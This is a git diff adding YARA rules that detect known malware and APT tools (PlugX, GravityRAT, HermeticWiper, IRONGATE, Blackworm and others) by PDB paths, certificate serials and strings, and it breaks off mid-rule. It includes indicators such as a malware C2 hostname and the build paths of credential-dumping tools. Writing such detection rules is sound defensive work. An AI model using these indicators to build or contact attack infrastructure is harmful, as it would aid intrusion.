+		reference = "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"
+		description = "PDB path for Gravity RAT GX"
+
+	strings:
+		$PDB1 = "C:\\Users\\The Invincible\\Desktop\\gx\\gx-current-program\\LSASS\\obj\\Release\\LSASS.pdb"
+		$PDB2 = "C:\\Users\\The Invincible\\D"
+       		$PDB3 = "Desktop\\gx\\gx-"
+	condition:
+		any of them
+}
+
+
+
diff --git a/yara-mikesxrs/Mikesxrs/Greenbug_PDB.yar b/yara-mikesxrs/Mikesxrs/Greenbug_PDB.yar
new file mode 100644
index 0000000..cbef84b
--- /dev/null
+++ b/yara-mikesxrs/Mikesxrs/Greenbug_PDB.yar
@@ -0,0 +1,15 @@
+rule Greenbug_PDB
+{
+	meta:
+    	Author = "mikesxrs"
+        Description = "Looking for unique PDB"
+        Reference = "https://researchcenter.paloaltonetworks.com/2017/07/unit42-oilrig-uses-ismdoor-variant-possibly-linked-greenbug-threat-group/"
+		    Reference2 = "http://www.clearskysec.com/greenbug/"
+        Date = "2017-04-05"
+  strings:
+		    $PDB1 = "C:\\Users\\Void\\Desktop\\v 10.0.194\\x64\\Release\\swchost.pdb" ascii wide nocase
+        $PDB2 = "C:\\Users\\Void\\Desktop\\" ascii wide nocase
+		    $PDB3 = "\\Release\\swchost.pdb" ascii wide nocase
+	condition:
+		any of them
+}
diff --git a/yara-mikesxrs/Mikesxrs/HTTPBrowser_PDB_Path.yar b/yara-mikesxrs/Mikesxrs/HTTPBrowser_PDB_Path.yar
new file mode 100644
index 0000000..341e1a6
--- /dev/null
+++ b/yara-mikesxrs/Mikesxrs/HTTPBrowser_PDB_Path.yar
@@ -0,0 +1,13 @@
+rule HTTPBrowser
+{
+  meta:
+    author = "mikesxrs"
+    description = "PDB Path in httpbrowser malware"
+    reference = "hhttps://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
+
+  strings:
+	$pdb1 = "J:\\TokenControlV3\\ServerDll\\Release\\ServerDll.pdb"
+    
+  condition:
+    any of them
+}
diff --git a/yara-mikesxrs/Mikesxrs/HermeticWiperCert.yar b/yara-mikesxrs/Mikesxrs/HermeticWiperCert.yar
new file mode 100644
index 0000000..2e2d12c
--- /dev/null
+++ b/yara-mikesxrs/Mikesxrs/HermeticWiperCert.yar
@@ -0,0 +1,11 @@
+import "pe"
+rule HermeticWiper_Certificate {
+   meta:
+      description = "Detects a certificate used in HermeticWiper Attack"
+      date = "2022-02-24"
+	  author = "@X0RC1SM"
+      hash = "0385eeab00e946a302b24a91dea4187c1210597b8e17cd9e2230450f5ece21da"
+	  malware = "HermeticWiper"
+   condition:
+      uint16(0) == 0x5a4d and for any i in (0 .. pe.number_of_signatures) : (pe.signatures[i].serial == "0c:48:73:28:73:ac:8c:ce:ba:f8:f0:e1:e8:32:9c:ec")
+}
diff --git a/yara-mikesxrs/Mikesxrs/IRONGATE_SCADA.yar b/yara-mikesxrs/Mikesxrs/IRONGATE_SCADA.yar
new file mode 100644
index 0000000..ec51bd6
--- /dev/null
+++ b/yara-mikesxrs/Mikesxrs/IRONGATE_SCADA.yar
@@ -0,0 +1,35 @@
+rule IRONGATE_SCADA
+{
+	meta:
+    	Author = "@X0RC1SM"
+        Description = "Looking for ALFA TEaM Shell"
+        Reference = "https://www.fireeye.com/blog/threat-research/2016/06/irongate_ics_malware.html"
+        Date = "2017-10-28"
+		
+  strings:
+		$STR1 = "PackingModule.exe"
+		$STR2 = "DllProxyInstaller"
+		$STR3 = "FindFile"
+		$STR4 = "FindFileInDrive"
+		$STR5 = "InstallProxy"
+		$STR6 = "dllFilename"
+		$STR7 = "newDllFilename"
+		$STR8 = "PackingModule.Step7ProSim.dll"
+		$STR9 = "ccc64bc5-ef95-4217-adc4-5bf0d448c272"
+		$STR10 = "c:\\Users\\Main\\Desktop\\PackagingModule\\PackagingModule\\obj\\Release\\PackagingModule.pdb"
+		$STR11 = "Step7ProSim.dll"
+		$STR12 = "IStep7ProSim"
+		$STR13 = "Step7ProSim.Interfaces"
+		$STR14 = "waitBeforeRecordingTimeInMilliSeconds"
+		$STR15 = "waitBeforePlayingRecordsTimeInMilliSeconds"
+		$STR16 = "payloadExecutionTimeInMilliSeconds"
+		$STR17 = "waitBeforePlayingRecordsTimer"
+		$STR18 = "waitBeforeExecutionTimer"
+		$STR19 = "waitBeforeRecordingTimer"
+		$STR20 = "payloadExecutionTimer"
+		$STR21 = "Step7ProSimProxy"
+		$STR22 = "$863d8af0-cee6-4676-96ad-13e8540f4d47"
+		$STR23 = "c:\\Users\\Main\\Desktop\\Step7ProSimProxy\\obj\\Release\\Step7ProSim.pdb"
+	condition:
+		11 of them
+}
diff --git a/yara-mikesxrs/Mikesxrs/JRAT.yar b/yara-mikesxrs/Mikesxrs/JRAT.yar
new file mode 100644
index 0000000..26c5b7e
--- /dev/null
+++ b/yara-mikesxrs/Mikesxrs/JRAT.yar
@@ -0,0 +1,14 @@
+rule JRAT
+{
+	meta:
+    	  Author = "@X0RC1SM"
+        Description = "Looking for unique PDB"
+        Reference = "https://repo.cryptam.com/nodes/03e36f49d38082bcac91716747f7827286fbebee62d412fb39a45b4ec7a082f5.txt"
+        Date = "2017-04-05"
+    strings:
+	      $JRAT1 = "/Jrat.classPK" ascii wide nocase
+        $JRAT2 = "/JRat.class" ascii wide nocase
+		    $JRAT3 = "META-INF/MANIFEST.MF" ascii wide nocase
+	condition:
+		all of them
+}
diff --git a/yara-mikesxrs/Mikesxrs/KASPERAGENT_MICROPSIA_PDB.yar b/yara-mikesxrs/Mikesxrs/KASPERAGENT_MICROPSIA_PDB.yar
new file mode 100644
index 0000000..5b24fb5
--- /dev/null
+++ b/yara-mikesxrs/Mikesxrs/KASPERAGENT_MICROPSIA_PDB.yar
@@ -0,0 +1,23 @@
+rule KASPERAGENT_MICROPSIA_PDB
+{
+	meta:
+    	Author = "@X0RC1SM"
+        Description = "Looking for unique PDB"
+        Reference = "https://researchcenter.paloaltonetworks.com/2017/04/unit42-targeted-attacks-middle-east-using-kasperagent-micropsia/"
+		    Reference2 = "http://www.clearskysec.com/micro-kasper/"
+        Date = "2017-04-05"
+  strings:
+		$PDB1 = "C:\\Users\\USA\\Documents\\Visual Studio 2008\\Projects\\New folder (2)\\kasper\\Release\\kasper.pdb"
+		$PDB2 = "C:\\Users\\Yousef\\Desktop\\MergeFiles\\Loader v0\\Loader\\obj\\Release\\Loader.pdb"
+		$PDB3 = "c:\\Users\\USA\\Documents\\Visual Studio 2008\\Projects\\New folder (2)\\s7 - Copy - Copy 19-2-17\\Release\\s7.pdb"
+		$PDB4 = "c:\\Users\\USA\\Documents\\Visual Studio 2008\\Projects\\New folder (2)\\s7\\Release\\s7.pdb"
+		$PDB5 = "C:\\Users\\Progress\\Desktop\\Loader v0\\Loader\\obj\\Release\\Loader.pdb"
+		$PDB6 = "D:\\Merge\\Debug\\testproj.pdb"
+		$PDB7 = "c:\\Users\\USA\\Documents\\Visual Studio 2008\\Projects\\New folder (2)\\kasper - Copy - 21-2-17\\Release\\kasper.pdb"
+		$PDB8 = "C:\\Users\\Yousef\\Desktop\\MergeFiles\\merge photos\\Loader v0\\Loader\\obj\\Release\\Loader.pdb"
+		$PDB9 = "C:\\Users\\Yousef\\Desktop\\Loader v0\\Loader\\obj\\Release\\Loader.pdb"
+		$PDB10 = "C:\\Users\\Yousef\\"
+		$PDB11 = "C:\\Users\\USA\\Documents\\Visual Studio"
+	condition:
+		any of them
+}
diff --git a/yara-mikesxrs/Mikesxrs/KONNI_PDB.yar b/yara-mikesxrs/Mikesxrs/KONNI_PDB.yar
new file mode 100644
index 0000000..6f28795
--- /dev/null
+++ b/yara-mikesxrs/Mikesxrs/KONNI_PDB.yar
@@ -0,0 +1,16 @@
+rule KONNI_PDB
+{
+  meta:
+    author = "mikesxrs"
+    description = "PDB Path in  malware"
+    reference = "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/"
+
+strings:
+	$STR1= "C:\\Users\\zeus\\Documents\\Visual Studio 2010\\Projects\\virus-dropper\\Release\\virus-dropper.pdb" 
+	$STR2= "C:\\Users\\zeus\\Documents\\Visual Studio 2010\\Projects\\"
+    $STR3= "\\virus-dropper\\Release\\virus-dropper.pdb"
+    
+  condition: 
+	any of them
+
+}
diff --git a/yara-mikesxrs/Mikesxrs/Luckymouse_cert.yar b/yara-mikesxrs/Mikesxrs/Luckymouse_cert.yar
new file mode 100644
index 0000000..665c041
--- /dev/null
+++ b/yara-mikesxrs/Mikesxrs/Luckymouse_cert.yar
@@ -0,0 +1,14 @@
+rule LUCKYMOUSE_Stolen_CERT
+{
+  meta:
+    author = "mikesxrs"
+    description = "Certificate used to sign malware, could result in False positive due to it being legitimate"
+    reference = "https://securelist.com/luckymouse-ndisproxy-driver/87914/"
+
+  strings:
+	$STR1 = {78 62 07 2d dc 75 9e 5f 6a 61 4b e9 b9 3b d5 21}
+	$STR2 = "ShenZhen LeagSoft Technology Co.,Ltd."
+    
+  condition: 
+	all of them
+}
diff --git a/yara-mikesxrs/Mikesxrs/Nitlove_PoS.yar b/yara-mikesxrs/Mikesxrs/Nitlove_PoS.yar
new file mode 100644
index 0000000..b3895cf
--- /dev/null
+++ b/yara-mikesxrs/Mikesxrs/Nitlove_PoS.yar
@@ -0,0 +1,14 @@
+rule Nitlove_PoS
+{
+	meta:
+    	Author = "@X0RC1SM"
+        Description = "Looking for uniques strings from reports"
+        Reference1 = "https://www.fireeye.com/blog/threat-research/2015/05/nitlovepos_another.html"
+		Reference2 = "https://securingtomorrow.mcafee.com/mcafee-labs/evoltin-pos-malware-attacks-via-macro/"
+        Date = "2017-10-28"
+    strings:
+    	$STR1 = "nit_love"
+		  $STR2 = "derpos/gateway.php"
+    condition:
+        any of them
+}
diff --git a/yara-mikesxrs/Mikesxrs/OSX_XSL.yar b/yara-mikesxrs/Mikesxrs/OSX_XSL.yar
new file mode 100644
index 0000000..3372c90
--- /dev/null
+++ b/yara-mikesxrs/Mikesxrs/OSX_XSL.yar
@@ -0,0 +1,35 @@
+rule XSLCMD
+{
+	meta:
+    	Author = "mikesxrs"
+    	Description = "Looking for unique code"
+	    Reference = "https://totalhash.cymru.com/analysis/?46bb20aefd09ea0bad534d3aa9b567d89b5ae8c4"
+        Reference2 = "https://www.fireeye.com/blog/threat-research/2014/09/forced-to-adapt-xslcmd-backdoor-now-on-os-x.html"
+        md5 = "60242ad3e1b6c4d417d4dfeb8fb464a1"
+    strings:
+    	$STR1 = "<!-- begin"
+        $STR2 = "end -->"
+        $STR3 = "12TUNNEL_ERROR"
+        $STR4 = "Mozilla/5.0 (Macintosh; U; Mac OS X) Safari/532.5 X_MAC("
+        
+        $CMD1 = "[End Time]"
+        $CMD2 = "[FakeDomain]"
+        $CMD3 = "[ListenMode]"
+        $CMD4 = "[MServer]"
+        $CMD5 = "[MWeb]"
+        $CMD6 = "[MWebTrans]"
+        $CMD7 = "[Proxy]"
+        $CMD8 = "[SPACE]"
+        $CMD9 = "[Start Time]"
+        $CMD10 = "[Interval]"
+        $CMD11 = "[Update]"
+        $CMD12 = "[UpdateWeb]"
+    condition:
+        (uint32(0) == 0xfeedface 
+        or uint32(0) == 0xcefaedfe 
+        or uint32(0) == 0xfeedfacf 
+        or uint32(0) == 0xcffaedfe 
+        or uint32(0) == 0xcafebabe 
+        or uint32(0) == 0xbebafeca)
+        and all of ($STR*) and 5 of ($CMD*)
+}
diff --git a/yara-mikesxrs/Mikesxrs/PDB_Arachnophobia.yar b/yara-mikesxrs/Mikesxrs/PDB_Arachnophobia.yar
new file mode 100644
index 0000000..d0ec662
--- /dev/null
+++ b/yara-mikesxrs/Mikesxrs/PDB_Arachnophobia.yar
@@ -0,0 +1,16 @@
+rule PDB_Arachnophobia
+{
+	meta:
+    	Author = "mikesxrs"
+        Description = "Looking for unique PDB strings"
+        Reference = "https://www.threatconnect.com/where-there-is-smoke-there-is-fire-south-asian-cyber-espionage-heats-up/Operation Arachnophobia"
+        Date = "2017-10-28"
+    strings:
+    	$PDB1 = "C:\\Users\\Tranchulas\\Documents\\Visual Studio 2008\\Projects\\upload\\Release\\upload.pdb"
+    	$PDB2 = "C:\\Users\\Cath\\documents\\visual studio 2010\\Projects\\ExtractPDF\\Release\\ExtractPDF.pdb"
+    	$PDB3 = "C:\\Users\\Cath\\documents\\visual studio 2010\\Projects\\Start\\Release\\Start.pdb"
+    	$PDB4 = "C:\\Users\\Cert-India\\Documents\\Visual Studio 2008\\Projects\\ufile\\Release\\ufile.pdb"
+    	$PDB5 = "C:\\Users\\umairaziz27\\Documents\\Visual Studio 2008\\Projects\\usb\\Release\\usb.pdb"
+    condition:
+        any of them
+}
diff --git a/yara-mikesxrs/Mikesxrs/Pirates.yar b/yara-mikesxrs/Mikesxrs/Pirates.yar
new file mode 100644
index 0000000..81c40cb
--- /dev/null
+++ b/yara-mikesxrs/Mikesxrs/Pirates.yar
@@ -0,0 +1,14 @@
+rule Pirate
+{
+	meta:
+    	Author = "mikesxrs"
+        Description = "Looking for unique strings"
+        SHA256 = "7efa0ad7465d2fd051d44b4f4c9062bf204ebafbd27b7d068afbfb386e96c2d8"
+        SHA256 = "8468f07f5bbc80b7608c848e582e5d23ab22282cc3eb5922dbb8df23cb33cdea"
+    strings:
+      	$STR1 = "Dim Pirates 'As String"
+        $STR2 = "Pirates =\"Microsoft.\" + Pirates+"
+        $SRT3 = "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"
+    condition:
+        all of them
+}
diff --git a/yara-mikesxrs/Mikesxrs/PlugX_PDB_Paths.yar b/yara-mikesxrs/Mikesxrs/PlugX_PDB_Paths.yar
new file mode 100644
index 0000000..d3d3a61
--- /dev/null
+++ b/yara-mikesxrs/Mikesxrs/PlugX_PDB_Paths.yar
@@ -0,0 +1,79 @@
+rule PlugX_PDB_Paths
+{
+	meta:
+    	Author = "@X0RC1SM"
+        Description = "Looking for certificates found in report"
+        Reference1 = "http://blog.cassidiancybersecurity.com/post/2014/01/plugx-some-uncovered-points.html"
+		Reference2 = "https://www.circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf"
+		Reference3 = "https://www.alienvault.com/blogs/labs-research/the-connection-between-the-plugx-chinese-gang-and-the-latest-internet-explo"
+		Reference4 = "https://www.alienvault.com/blogs/labs-research/tracking-down-the-author-of-the-plugx-rat"
+        Date = "2017-10-28"
+    strings:
+    	$PDB1 = "i:\\work\\plug2.0(......)\\shellcode\\shellcode\\"
+    	$PDB2 = "i:\\work\\plug2.0\\shellcode\\shellcode\\"
+    	$PDB3 = "d:\\work\\plug2.0\\shellcode\\shellcode\\"
+    	$PDB4 = "d:\\work\\plug2.5\\shellcode\\shellcode\\"
+    	$PDB5 = "c:\\users\\whg\\desktop\\plug2.5(nzqk)\\shellcode\\shellcode\\"
+    	$PDB6 = "c:\\users\\whg\\desktop\\plug2.5(rose)\\shellcode\\shellcode\\"
+    	$PDB7 = "c:\\users\\whg\\desktop\\plug3.0\\shellcode\\shellcode\\"
+    	$PDB8 = "d:\\work\\plug3.0(gf)\\shellcode\\shellcode\\"
+    	$PDB9 = "d:\\work\\plug3.0(gf)udp\\shellcode\\shellcode\\"
+    	$PDB10 = "d:\\work\\plug3.0(lyt)\\shellcode\\shellcode\\"
+    	$PDB11 = "d:\\work\\plug3.0\\shellcode\\shellcode\\"
+    	$PDB12 = "d:\\work\\plug3.1(icesword)\\shellcode\\shellcode\\"
+    	$PDB13 = "d:\\work\\plug4.0(....)(......)\\shellcode\\shellcode\\"
+    	$PDB14 = "d:\\work\\plug4.0(cammute)\\shellcode\\shellcode\\"
+    	$PDB15 = "d:\\work\\plug4.0(msidb)(lyt)\\shellcode\\shellcode\\"
+    	$PDB16 = "d:\\work\\plug4.0(nvsmart)(....)(7.0)\\shellcode\\shellcode\\"
+    	$PDB17 = "d:\\work\\plug4.0(nvsmart)(hrb)\\shellcode\\shellcode\\"
+    	$PDB18 = "d:\\work\\plug4.0(nvsmart)(mrxy)(675960)\\shellcode\\shellcode\\"
+    	$PDB19 = "d:\\work\\plug4.0(nvsmart)(sxl)\\shellcode\\shellcode\\"
+    	$PDB20 = "d:\\work\\plug4.0(nvsmart)\\shellcode\\shellcode\\"
+    	$PDB21 = "d:\\work\\plug4.0(shellcode)(....)\\shellcode\\shellcode\\"
+    	$PDB22 = "d:\\work\\plug4.0(shellcode)(hrb)(gf)\\shellcode\\shellcode\\"
+    	$PDB23 = "d:\\work\\plug4.0(shellcode)(hrb)\\shellcode\\shellcode\\"
+    	$PDB24 = "d:\\work\\plug4.0\\shellcode\\shellcode\\"
+    	$PDB25 = "d:\\work\\plug5.0(3f)(zxf)(360)(9022863)(scldr3.0)\\shellcode\\shellcode\\"
+    	$PDB26 = "d:\\work\\plug5.0(hrb)\\shellcode\\shellcode\\"
+    	$PDB27 = "d:\\work\\plug5.0\\shellcode\\shellcode\\"
+    	$PDB28 = "d:\\work\\plug6.0(360)(gadget)(....)\\shellcode\\shellcode\\"
+    	$PDB29 = "d:\\work\\plug6.0(360)(gadget)(........)(....)\\shellcode\\shellcode\\"
+    	$PDB30 = "d:\\work\\plug6.0(360)(hkcmd)(xts)(scldr3.0)\\shellcode\\shellcode\\"
+    	$PDB31 = "d:\\work\\plug6.0(360)(hkcmd)(xts)\\shellcode\\shellcode\\"
+    	$PDB32 = "d:\\work\\plug6.0(360)(mcinsupd)(....)\\shellcode\\shellcode\\"
+    	$PDB33 = "d:\\work\\plug6.0(360)(mcinsupd)(48846669)\\shellcode\\shellcode\\"
+    	$PDB34 = "d:\\work\\plug6.0(360)(mcoemcpy)(hhhtwy)(scldr3.0)\\shellcode\\shellcode\\"
+    	$PDB35 = "d:\\work\\plug6.0(360)(minidownloader)\\shellcode\\shellcode\\"
+    	$PDB36 = "d:\\work\\plug6.0\\plug6.0(minidownloader)\\shellcode\\shellcode\\"
+    	$PDB37 = "d:\\work\\plug6.0\\plug6.0(rstray)\\shellcode\\shellcode\\"
+    	$PDB38 = "d:\\work\\plug7.0(....)(3..)\\plug7.0(oleview)(....3)(........)\\shellcode\\shellcode\\"
+    	$PDB39 = "d:\\work\\plug7.0(arotutorial)(ykcai)(2)\\shellcode\\shellcode\\"
+    	$PDB40 = "d:\\work\\plug7.0(bdreinit)(....)(360)\\shellcode\\shellcode\\"
+    	$PDB41 = "d:\\work\\plug7.0(mcappcfg)(gf)(....)\\shellcode\\shellcode\\"
+    	$PDB42 = "d:\\work\\plug7.0(mcvsmap)(fking)(....)\\shellcode\\shellcode\\"
+    	$PDB43 = "d:\\work\\plug8.0(hkcmd)(....)\\plug6.0(360)(mcoemcpy)(hhhtwy)(scldr3.0)\\shellcode\\shellcode\\"
+    	$PDB44 = "d:\\work\\plug8.0(mcoemcpy)(lyt)\\shellcode\\shellcode\\"
+		  $PDB45 = "d:\\work\\plug7.0(mcvsmap)(fking)"
+		  $PDB46 = "d:\\work\\plug4.0(nvsmart)(sxl)\\shellcode\\shellcode\\XPlug.h"
+ 		  $PDB47 = "d:\\work\\plug3.1(icesword)\\shellcode\\shellcode\\XPlug.h"
+ 		  $PDB48 = "d:\\work\\Plug3.0(Gf)UDP\\Shell6\\Release\\Shell6.pdb"
+ 		  $PDB49 = "i:\\work\\plug2.0()\\shellcode\\shellcode\\XPlug.h"
+		  $PDB50 = "d:\\work\\plug4.0(nvsmart)(sxl)\\shellcode\\shellcode\\XSetting.h"
+		  $PDB51 = "d:\\work\\plug4.0(nvsmart)(sxl)\\shellcode\\shellcode\\XPlug.h"
+		  $PDB52 = "d:\\work\\Plug3.0(Gf)UDP\\Shell6\\Release\\Shell6.pdb"
+		  $PDB53 = "d:\\work\\plug4.0(nvsmart)\\shellcode\\shellcode\\XPlug.h"
+		  $PDB54 = "d:\\work\\plug3.1(icesword)\\shellcode\\shellcode\\XPlug.h"
+		  $PDB55 = "C:\\Users\\whg\\Desktop\\Plug\\FastGui(LYT)\\Shell\\Release\\Shell.pdb"
+		  $PDB56 = "C:\\Documents and Settings\\whg\\\\Plug\\FastGui(LYT)\\Shell\\Release\\Shell.pdb"
+		  $PDB57 = "C:\\Users\\whg\\Desktop\\Plug\\FastGui(LYT)\\Shell\\Release\\Shell.pdb"
+		  $PDB58 = "C:\\Users\\whg\\Desktop\\SockMon2011\\SockMon\\UnitCache.pas"
+		  $PDB59 = "c:\\Documents and Settings\\whg\\SockMon2010\\RunProtect\\Release\\RunProtect.pdb"
+		  $PDB60 = "c:\\Documents and Settings\\whg\\\\SockMon2010\\SmComm\\Release\\SmComm.pdb"
+		  $PDB61 = "C:\\Users\\whg\\Desktop\\vtcp11.0lib\\vtcpT0\\UnitMain.pas"
+		  $PDB62 = "c:\\Documents and Settings\\whg\\Pnw(all)\\Pc()\\FamHook\\Release\\FamHook.pdb"
+		  $PDB63 = "i:\\work\\plug2.0()\\shellcode\\shellcode\\XPlug.h"
+		  $PDB64 = "d:\\work\\plug4.0(nvsmart)\\shellcode\\shellcode\\XPlug.h"
+
+    condition:
+        any of them
+}
diff --git a/yara-mikesxrs/Mikesxrs/Poisioned_Hurricane_Certs.yar b/yara-mikesxrs/Mikesxrs/Poisioned_Hurricane_Certs.yar
new file mode 100644
index 0000000..7970153
--- /dev/null
+++ b/yara-mikesxrs/Mikesxrs/Poisioned_Hurricane_Certs.yar
@@ -0,0 +1,17 @@
+rule Poisioned_Hurricane_Certs
+{
+	meta:
+    	Author = "mikesxrs"
+      Description = "Looking for certificates found in report"
+      Reference = "https://www.fireeye.com/blog/threat-research/2014/08/operation-poisoned-hurricane.html"
+      Date = "2017-10-28"
+    strings:
+		$cert1 = {06 55 69 a3 e2 61 40 91 28 a4 0a ff a9 0d 6d 10} //Police Mutual Aid Association
+		$cert2 = {03 e5 a0 10 b0 5c 92 87 f8 23 c2 58 5f 54 7b 80} //MOCOMSYS INC
+		$cert3 = {2e df b9 fd cf a0 0c cb 5a b0 09 ee 3a db 97 b9} //QTI INTERNATIONAL INC
+		$cert4 = {0f e7 df 6c 4b 9a 33 b8 3d 04 e2 3e 98 a7 7c ce} //PIXELPLUS CO., LTD
+		$cert5 = {1D 2B C8 46 D1 00 D8 FB 94 FA EA 4B 7B 5F D8 94} //Ssangyong Motor Co. 
+		$cert6 = {72 B4 F5 66 7F 69 F5 43 21 A9 40 09 97 4C CC F8} //jtc
+    condition:
+        any of them
+}
diff --git a/yara-mikesxrs/Mikesxrs/REHASHED_PDB.yar b/yara-mikesxrs/Mikesxrs/REHASHED_PDB.yar
new file mode 100644
index 0000000..cd61069
--- /dev/null
+++ b/yara-mikesxrs/Mikesxrs/REHASHED_PDB.yar
@@ -0,0 +1,14 @@
+rule REHASHED_PDB
+{
+	meta:
+    	Author = "mikesxrs"
+      Description = "Looking for unique PDB"
+      Reference = "https://blog.fortinet.com/2017/09/05/rehashed-rat-used-in-apt-campaign-against-vietnamese-organizations"
+      Date = "2017-09-05"
+  strings:
+		$PDB1 = "C:\\Users\\hoogle168\\Desktop\\2008Projects\\NewCoreCtrl08\\Release\\NewCoreCtrl08.pdb" ascii wide nocase
+		$PDB2 = "C:\\Users\\hoogle168\\" ascii wide nocase
+		$PDB3 = "\\NewCoreCtrl08\\Release\\NewCoreCtrl08.pdb" ascii wide nocase
+	condition:
+		any of them
+}
diff --git a/yara-mikesxrs/Mikesxrs/Ratty.yar b/yara-mikesxrs/Mikesxrs/Ratty.yar
new file mode 100644
index 0000000..98298b4
--- /dev/null
+++ b/yara-mikesxrs/Mikesxrs/Ratty.yar
@@ -0,0 +1,17 @@
+rule Ratty
+{
+	meta:
+    	Author = "mikesxrs"
+        Description = "Looking for unique code"
+        Date = "2017-10-28"
+        Reference1 = "https://github.com/shotskeber/Ratty/tree/master/Ratty/src/de/sogomn/rat"
+        Reference2 = "https://www.first.org/resources/papers/conf2016/FIRST-2016-122.pdf"
+        md5 = "6882e9a5973384e096bd41f210cddb54"
+        md5 = "5159798395b2e0a91e28a457c935668b"
+    strings:
+    	$STR1 = "RattyClient.class"
+        $STR2 = "sogomn/rat/"
+        $STR3 = "RattyServer.class"
+    condition:
+        all of them
+}
diff --git a/yara-mikesxrs/Mikesxrs/SAFFRON_ROSE_PDB_PATH.yar b/yara-mikesxrs/Mikesxrs/SAFFRON_ROSE_PDB_PATH.yar
new file mode 100644
index 0000000..31f388d
--- /dev/null
+++ b/yara-mikesxrs/Mikesxrs/SAFFRON_ROSE_PDB_PATH.yar
@@ -0,0 +1,13 @@
+rule SAFFRON_ROSE_PDB_PATH 
+{
+	meta:
+    	Author = "@X0RC1SM"
+    	Description = "Looking for unique pdb path"
+	    Reference = "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-operation-saffron-rose.pdf"
+        
+    strings:
+    	$PDB1 = "d:\\svn\\Stealer\\source\\Stealer\\Stealer\\obj\\x86\\Release\\Stealer.pdb"
+        $PDB2 = "f:\\Projects\\C#\\Stealer\\source\\Stealer\\Stealer\\obj\\x86\\Release\\Stealer.pdb"
+    condition:
+        any of them
+}
diff --git a/yara-mikesxrs/Mikesxrs/Sengoku_PDB.yar b/yara-mikesxrs/Mikesxrs/Sengoku_PDB.yar
new file mode 100644
index 0000000..5458830
--- /dev/null
+++ b/yara-mikesxrs/Mikesxrs/Sengoku_PDB.yar
@@ -0,0 +1,24 @@
+rule Sengoku_PDB
+{
+	meta:
+    	Author = "@X0RC1SM"
+        Description = "Looking for unique PDB"
+        Reference = "http://artemonsecurity.com/snake_whitepaper.pdf"
+        Date = "2017-10-28"
+    strings:    
+		$PDB1 = "d:\\proj\\cn\\fa64\\sengoku\\_bin\\sengoku\\win32_debug\\sengoku_Win32.pdb"  ascii wide nocase
+		$PDB2 = "d:\\proj\\cn\\fa64\\sengoku\\" ascii wide nocase
+		$PDB3 = "\\sengoku_Win32.pdb" ascii wide nocase
+	condition:
+		any of them
+}
+
+
+
+
+
+
+
+
+
+
diff --git a/yara-mikesxrs/Mikesxrs/SyberSpace_PDB.yar b/yara-mikesxrs/Mikesxrs/SyberSpace_PDB.yar
new file mode 100644
index 0000000..3f6bcc6
--- /dev/null
+++ b/yara-mikesxrs/Mikesxrs/SyberSpace_PDB.yar
@@ -0,0 +1,20 @@
+rule SyberSpace_PDB
+{
+  meta:
+    author = "mikesxrs"
+    description = "PDB Path in httpbrowser malware"
+    reference = "hhttps://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
+
+  strings: 
+	$pdb1 = "c:\\Users\\SyberSpace\\Desktop\\Uac\\Release\\Uac.pdb"
+	$pdb2 = "c:\\Users\\SyberSpace\\Desktop\\code\\Release\\code.pdb"
+	$pdb3 = "c:\\Users\\SyberSpace\\Desktop\\Local\\Release\\Local.pdb"
+	$pdb4 = "c:\\Users\\SyberSpace\\Desktop\\gsecdump\\hashdump\\Release\\hashdump.pdb"
+	$pdb5 = "c:\\Users\\SyberSpace\\Desktop\\inline_asm_vc\\test\\Release\test.pdb"
+	$pdb6 = "c:\\Users\\SyberSpace\\Desktop\\RemCom_SRC_1.2\\RemCom\\Release\\RemCom.pdb"
+	$pdb7 = "c:\\Users\\SyberSpace\\Desktop\\owa\\HttpsExts\\HttpsExts\\HttpsExts\\obj\\Release\\OwaAuth.pdb"
+  $pdb8 = "c:\\Users\\SyberSpace\\Desktop\\"
+    
+  condition:
+    any of them
+}
diff --git a/yara-mikesxrs/Mikesxrs/Syrian_Malware_Team_Blackworm.yar b/yara-mikesxrs/Mikesxrs/Syrian_Malware_Team_Blackworm.yar
new file mode 100644
index 0000000..e95fe7c
--- /dev/null
+++ b/yara-mikesxrs/Mikesxrs/Syrian_Malware_Team_Blackworm.yar
@@ -0,0 +1,26 @@
+rule Syrian_Malware_Team_Blackworm
+{
+	meta:
+    	Author = "@X0RC1SM"
+        Description = "Looking for unique strings"
+        Reference = "https://www.fireeye.com/blog/threat-research/2014/08/connecting-the-dots-syrian-malware-team-uses-blackworm-for-attacks.html"
+        Date = "2017-10-28"
+  strings:
+		$BWE1 = "_CorExeMain"
+		$BWE2 = "mscoree.dll"
+		$BWE3 = "syrian Malware"
+		$BWE4 = "AppData"
+		$BWE5 = "Temporary Projects"
+		$BWE6 = "ali2.pdb"
+				
+		$BE1 = "aliallosh.sytes.net"
+		$BE2 = "Syrian Malware"
+		$BE3 = "Restart"
+		$BE4 = "Microsoft"
+		$BE5 = "Windows"
+		$BE6 = "[endof]"
+		$BE7 = "To Array"
+		$BE8 = "Length"
+	condition:
+    	all of ($BWE*) or all of ($BE*)
+}
diff --git a/yara-mikesxrs/Mikesxrs/TropicTrooper_keyboy_PDB.yar b/yara-mikesxrs/Mikesxrs/TropicTrooper_keyboy_PDB.yar
new file mode 100644
index 0000000..490735a
--- /dev/null
+++ b/yara-mikesxrs/Mikesxrs/TropicTrooper_keyboy_PDB.yar
@@ -0,0 +1,34 @@
+rule TropicTrooper_keyboy_PDB
+{
+  meta:
+    author = "mikesxrs"
+    description = "PDB Path in  malware"
+    reference = "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/"
+    reference2 = "https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html"
+
+  strings:
+	$pdb1 = "D:\\Work\\Project\\VS\\house\\Apple\\Apple_20180115\\Release\\InstallClient.pdb"
+	$pdb2 = "D:\\Work\\Project\\VS\\house\\Apple\\Apple_20180115\\Release\\FakeRun.pdb"
